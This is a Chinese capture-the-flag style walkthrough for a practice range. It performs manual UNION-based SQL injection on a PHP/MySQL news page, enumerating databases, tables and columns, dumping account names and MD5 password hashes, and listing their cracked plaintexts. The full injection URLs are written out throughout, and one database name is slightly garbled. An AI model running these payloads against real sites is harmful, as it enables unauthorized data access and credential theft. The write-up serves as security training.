墨者-SQL手工注入漏洞测试(MySQL数据库)

Background

安全工程师”墨者”最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

image

检测SQL注入点

发现一个维护公告链接
image

基于报错的检测

先在链接后的id=1加入 ‘,查看页面反应
image
发现页面没有任何显示,可能存在SQL注入

基于布尔值判断

1
2
http://mozhe.cn/new_list.php?id=1 and 1=1   正常显示
http://mozhe.cn/new_list.php?id=1 and 1=2 不正常显示

image
image

那么可以判段存在SQL注入

判断select字段个数

1
2
http://mozhe.cn/new_list.php?id=1 order by 4
http://mozhe.cn/new_list.php?id=1 order by 5

当order by语句中数值大于4,页面不显示,说明select语句中有4个字段

查询数据库信息

先判断页面中会显示的字段位置

1
http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2,3,4

image
判断出2,3字段的位置会在页面显示,因此可以开始构造sql语句了

查询数据库名,版本

1
http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

image

数据库名:mozhe_Discuz_StormGroup
版本: 5.7.22-0ubuntu0.16.04.1

这里也可以用CONCAT_WS函数

1
http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4

获取数据库名

1
http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2 ,table_schema,4 from information_schema.tables limit 1,1

image
通过修改limit值获得所有数据库名称
获得5个数据库名称
information_schema、 mozhe_Discuz_StormGroup、 mysql、 performance_schmozhe.cn

1
http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2 ,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1

image
mozhe_Discuz_StormGroup库的表名:StormGroup_member、 notice

获取数据库列名

1
http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2 ,column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1

image
StormGroup_member表的列名: id、 name、 password、 status

获取字段内容(账号密码)

1
http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,name,password,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

image
账号密码(MD5在线破解)
mozhe 356f589a7df439f6f744ff19bb8092c0 —-dsan13
mozhe c0b11cc529cd469efe3c3333e2bcc3db —-346753

登陆后台获取key

image